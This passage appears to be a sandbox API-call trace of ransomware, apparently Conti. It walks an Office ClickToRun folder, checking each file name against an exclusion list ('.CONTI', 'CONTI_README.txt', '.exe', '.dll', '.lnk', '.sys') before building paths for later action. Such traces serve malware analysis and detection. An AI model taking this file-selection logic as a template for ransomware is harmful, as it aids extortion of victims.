	[0098.785] lstrlenW (lpString="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml") returned 52
	[0098.785] GetProcessHeap () returned 0x1720000
	[0098.785] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x100) returned 0x17d1dc0
	[0098.785] lstrcpyW (in: lpString1=0x17d1dc0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.785] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.785] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml"
	[0098.785] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml", cAlternateFileName="C2C4E2~1.XML")) returned 1
	[0098.785] lstrcmpiW (lpString1="C2RManifest.outlookmui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.785] lstrcmpiW (lpString1="C2RManifest.outlookmui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.785] StrStrIW (lpFirst="C2RManifest.outlookmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.outlookmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.outlookmui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.outlookmui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.outlookmui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.outlookmui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.outlookmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.785] StrStrIW (lpFirst="C2RManifest.outlookmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.785] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.785] lstrlenW (lpString="C2RManifest.outlookmui.msi.16.en-us.xml") returned 39
	[0098.786] GetProcessHeap () returned 0x1720000
	[0098.786] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe6) returned 0x17d1ec8
	[0098.786] lstrcpyW (in: lpString1=0x17d1ec8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.786] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.786] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.outlookmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml"
	[0098.786] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", cAlternateFileName="C280EB~1.XML")) returned 1
	[0098.786] lstrcmpiW (lpString1="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.786] lstrcmpiW (lpString1="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.786] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.786] lstrlenW (lpString="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml") returned 58
	[0098.786] GetProcessHeap () returned 0x1720000
	[0098.786] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x10c) returned 0x17d1fb8
	[0098.786] lstrcpyW (in: lpString1=0x17d1fb8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.786] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.786] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml"
	[0098.786] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", cAlternateFileName="C222CA~1.XML")) returned 1
	[0098.786] lstrcmpiW (lpString1="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.786] lstrcmpiW (lpString1="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.786] StrStrIW (lpFirst="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.787] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.787] lstrlenW (lpString="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml") returned 58
	[0098.787] GetProcessHeap () returned 0x1720000
	[0098.787] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x10c) returned 0x17d20d0
	[0098.787] lstrcpyW (in: lpString1=0x17d20d0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.787] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.787] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml"
	[0098.787] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml", cAlternateFileName="C27FF4~1.XML")) returned 1
	[0098.787] lstrcmpiW (lpString1="C2RManifest.powerpointmui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.787] lstrcmpiW (lpString1="C2RManifest.powerpointmui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.787] StrStrIW (lpFirst="C2RManifest.powerpointmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.powerpointmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.powerpointmui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.powerpointmui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.powerpointmui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.powerpointmui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.powerpointmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.powerpointmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.787] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.787] lstrlenW (lpString="C2RManifest.powerpointmui.msi.16.en-us.xml") returned 42
	[0098.787] GetProcessHeap () returned 0x1720000
	[0098.787] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xec) returned 0x17d21e8
	[0098.787] lstrcpyW (in: lpString1=0x17d21e8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.787] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.787] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.powerpointmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml"
	[0098.787] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", cAlternateFileName="C2E87B~1.XML")) returned 1
	[0098.787] lstrcmpiW (lpString1="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpString2=".") returned 1
	[0098.787] lstrcmpiW (lpString1="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpString2="..") returned 1
	[0098.787] StrStrIW (lpFirst="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.787] StrStrIW (lpFirst="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.788] StrStrIW (lpFirst="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.788] StrStrIW (lpFirst="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.788] StrStrIW (lpFirst="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.788] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.788] lstrlenW (lpString="C2RManifest.Project.Project.x-none.msi.16.x-none.xml") returned 52
	[0098.788] GetProcessHeap () returned 0x1720000
	[0098.788] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x100) returned 0x17d22e0
	[0098.788] lstrcpyW (in: lpString1=0x17d22e0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.788] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.788] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Project.Project.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml"
	[0098.788] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.projectmui.msi.16.en-us.xml", cAlternateFileName="C26005~1.XML")) returned 1
	[0098.788] lstrcmpiW (lpString1="C2RManifest.projectmui.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.788] lstrcmpiW (lpString1="C2RManifest.projectmui.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.788] StrStrIW (lpFirst="C2RManifest.projectmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.788] StrStrIW (lpFirst="C2RManifest.projectmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.788] StrStrIW (lpFirst="C2RManifest.projectmui.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.788] StrStrIW (lpFirst="C2RManifest.projectmui.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.788] StrStrIW (lpFirst="C2RManifest.projectmui.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.788] StrStrIW (lpFirst="C2RManifest.projectmui.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.788] StrStrIW (lpFirst="C2RManifest.projectmui.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.788] StrStrIW (lpFirst="C2RManifest.projectmui.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.788] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.788] lstrlenW (lpString="C2RManifest.projectmui.msi.16.en-us.xml") returned 39
	[0098.788] GetProcessHeap () returned 0x1720000
	[0098.788] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe6) returned 0x17e5440
	[0098.788] lstrcpyW (in: lpString1=0x17e5440, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.788] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.788] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.projectmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml"
	[0098.788] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml", cAlternateFileName="C2B3EB~1.XML")) returned 1
	[0098.788] lstrcmpiW (lpString1="C2RManifest.Proof.Culture.msi.16.en-us.xml", lpString2=".") returned 1
	[0098.788] lstrcmpiW (lpString1="C2RManifest.Proof.Culture.msi.16.en-us.xml", lpString2="..") returned 1
	[0098.788] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.789] StrStrIW (lpFirst="C2RManifest.Proof.Culture.msi.16.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.789] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.789] lstrlenW (lpString="C2RManifest.Proof.Culture.msi.16.en-us.xml") returned 42
	[0098.789] GetProcessHeap () returned 0x1720000
	[0098.789] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xec) returned 0x17e5530
	[0098.789] lstrcpyW (in: lpString1=0x17e5530, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.789] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.789] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="C2RManifest.Proof.Culture.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml"
	[0098.789] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml", cAlternateFileName="C23127~1.XML")) returned 1
	[0098.789] lstrcmpiW (lpString1="C2RManifest.Proof.Culture.msi.16.es-es.xml", lpString2=".") returned 1
	[0098.789] lstrcmpiW (lpString1="C2RManifest.Proof.Culture.msi.16.es-es.xml", lpString2="..") returned 1
